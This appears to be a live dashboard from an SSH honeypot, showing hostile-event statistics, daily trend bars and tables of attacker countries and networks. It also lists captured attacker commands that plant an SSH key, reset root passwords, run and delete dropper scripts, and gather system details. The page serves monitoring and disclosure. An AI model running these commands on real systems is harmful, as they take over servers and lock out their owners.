██████╗ ██╗ ██╗████████╗██████╗ ██████╗ ██████╗ ██████╗ ██╔══██╗██║ ██╔╝╚══██╔══╝██╔══██╗██╔══██╗██╔═══██╗██╔══██╗ ██████╔╝█████╔╝ ██║ ██║ ██║██████╔╝██║ ██║██████╔╝ ██╔═══╝ ██╔═██╗ ██║ ██║ ██║██╔══██╗██║ ██║██╔═══╝ ██║ ██║ ██╗ ██║ ██████╔╝██║ ██║╚██████╔╝██║ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝
Updated: 2026-07-10 11:48:01 EEST
Last hostile event: 2026-07-10 11:46:10 EEST
Hostile events today (so far): 1377 (~116.69 / hour)
Record hostile day: 105658 (2026-04-13)
Average hostile/day since: 12298 (since 2026-01-23, 169 active days)
Trend (last 14d, today→left): ▂▄▃▂▃▂▂▃▃▂▂▂▂█
Unique attacker IPs (current log window): 37
cd ~; chattr -ia .ssh; lockr -ia .sshcd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv…cat /proc/cpuinfo | grep name | wc -lwhoamiwhich lswuname -muname -aunametoprm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.…ls -lh $(which ls)lscpu | grep Modelfree -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'df -h | head -n 2 | awk 'FNR == 2 {print $2;}'crontab -lcat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'cat /proc/cpuinfo | grep model | grep name | wc -lecho OKchmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mk…echo "root:T6EOZudY12vt"|chpasswd|bashecho "root:qThYXGHtfEiT"|chpasswd|bashecho "root:lOCULQcZELXX"|chpasswd|bashecho "root:In9tOxls4PLW"|chpasswd|bashecho "root:gwdhxsC2XimS"|chpasswd|bashScroll for more.
| hits | country |
|---|---|
| 1397 | China |
| 488 | Argentina |
| 78 | Türkiye |
| 54 | United States |
| 53 | The Netherlands |
| 46 | India |
| 23 | South Korea |
| 23 | Singapore |
| 23 | Myanmar |
| 23 | Brazil |
| 20 | Bulgaria |
| 6 | United Kingdom |
| 2 | Germany |
| hits | city |
|---|---|
| 799 | China |
| 585 | Changshu, China |
| 488 | Pergamino, Argentina |
| 78 | Türkiye |
| 49 | United States |
| 23 | Yangon, Myanmar |
| 23 | South Korea |
| 23 | Singapore, Singapore |
| 23 | Indore, India |
| 23 | India |
| 23 | Brasília, Brazil |
| 22 | Haarlem, The Netherlands |
| 21 | The Netherlands |
| 20 | Bulgaria |
| 10 | Dronten, The Netherlands |
| 6 | City of London, United Kingdom |
| 6 | Beijing, China |
| 5 | Des Moines, United States |
| 4 | Hangzhou, China |
| 3 | Hefei, China |
| 2 | Germany |
| hits | ASN |
|---|---|
| 659 | Chinanet |
| 488 | Telecom Argentina S.A. |
| 331 | CHINANET Guangdong province network |
| 219 | China Telecom Group |
| 89 | Chongqing Telecom |
| 84 | Unknown |
| 63 | Shenzhen Tencent Computer Systems Company Limited |
| 28 | ASunknown Railnet LLC |
| 23 | Vlink Telecom |
| 23 | Net Hub |
| 23 | Korea Telecom |
| 23 | Golden Dragon 2000 |
| 23 | DigitalOcean, LLC |
| 23 | Bharti Airtel Ltd., Telemedia Services |
| 22 | ASunknown Scaleway S.a.s. |
| 20 | Techoff Srv Limited |
| 15 | HostPapa |
| 15 | Cnc Bilisim Hizmetleri Insaat Sanayi Ve Ticaret Limited Sirketi |
| 10 | Hangzhou Alibaba Advertising Co.,Ltd. |
| 10 | Baykov Ilya Sergeevich |
| 9 | China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch |
| 6 | Hydra Communications Ltd |
| 6 | Google LLC |
| 6 | Beijing Baidu Netcom Science and Technology Co., Ltd. |
| 5 | Microsoft Corporation |
| 4 | Cloud Computing Corporation |
| 4 | Beijing Volcano Engine Technology Co., Ltd. |
| 3 | CHINANET Hubei province network |
| 2 | Inside Network LTD |
City is approximate (often datacenter/ISP location).
Today (so far): 1377 Yesterday: 7242
| date | bar | count |
|---|---|---|
| 2026-07-10 | 1377 | |
| 2026-07-09 | ## | 7242 |
| 2026-07-08 | # | 3832 |
| 2026-07-07 | # | 2827 |
| 2026-07-06 | # | 3275 |
| 2026-07-05 | # | 2995 |
| 2026-07-04 | 1659 | |
| 2026-07-03 | # | 3682 |
| 2026-07-02 | # | 4383 |
| 2026-07-01 | # | 2283 |
| 2026-06-30 | # | 2383 |
| 2026-06-29 | # | 3013 |
| 2026-06-28 | # | 2105 |
| 2026-06-27 | #### | 14704 |
| 2026-06-26 | # | 2259 |
| 2026-06-25 | # | 3727 |
| 2026-06-24 | ### | 10099 |
| 2026-06-23 | # | 2541 |
| 2026-06-22 | # | 3222 |
| 2026-06-21 | # | 2673 |
| 2026-06-20 | # | 3578 |
| 2026-06-19 | # | 4243 |
| 2026-06-18 | #################### | 66440 |
| 2026-06-17 | ############ | 42238 |
| 2026-06-16 | # | 3444 |
| 2026-06-15 | ## | 6071 |
| 2026-06-14 | # | 5002 |
| 2026-06-13 | # | 4985 |
| 2026-06-12 | # | 3728 |
| 2026-06-11 | # | 4852 |
| 2026-06-10 | ## | 5903 |
| 2026-06-09 | # | 2548 |
| 2026-06-08 | ## | 5388 |
| 2026-06-07 | ## | 6057 |
| 2026-06-06 | ## | 6494 |
| 2026-06-05 | # | 3754 |
| 2026-06-04 | # | 3034 |
| 2026-06-03 | # | 4140 |
| 2026-06-02 | ########## | 33504 |
| 2026-06-01 | ############# | 45910 |
| 2026-05-31 | ############# | 43442 |
| 2026-05-30 | ############ | 41423 |
| 2026-05-29 | ############ | 41702 |
| 2026-05-28 | ############ | 39435 |
| 2026-05-27 | ########### | 38675 |
| 2026-05-26 | ################### | 63554 |
| 2026-05-25 | ############ | 42480 |
| 2026-05-24 | ############# | 45382 |
| 2026-05-23 | ############ | 41546 |
| 2026-05-22 | ############# | 43007 |
| 2026-05-21 | ########### | 38093 |
| 2026-05-20 | ########### | 37950 |
| 2026-05-19 | ########### | 36317 |
| 2026-05-18 | ########## | 34459 |
| 2026-05-17 | ########### | 36362 |
| 2026-05-16 | ########### | 36483 |
| 2026-05-15 | ############ | 40392 |
| 2026-05-14 | ###################### | 75242 |
| 2026-05-13 | ######################## | 81678 |
| 2026-05-12 | # | 3755 |
Hostile daily counts include eventid: login.failed, login.success, command.input, direct-tcpip.request, session.connect, session.file_download, session.file_upload.
Zero days hidden. (Window: last 60 days)
Events (current log window): 2236
Current log window: since 2026-07-10 03:00:22 EEST (last event 2026-07-10 11:46:10 EEST)
System uptime: up 24 weeks, 1 hour, 13 minutes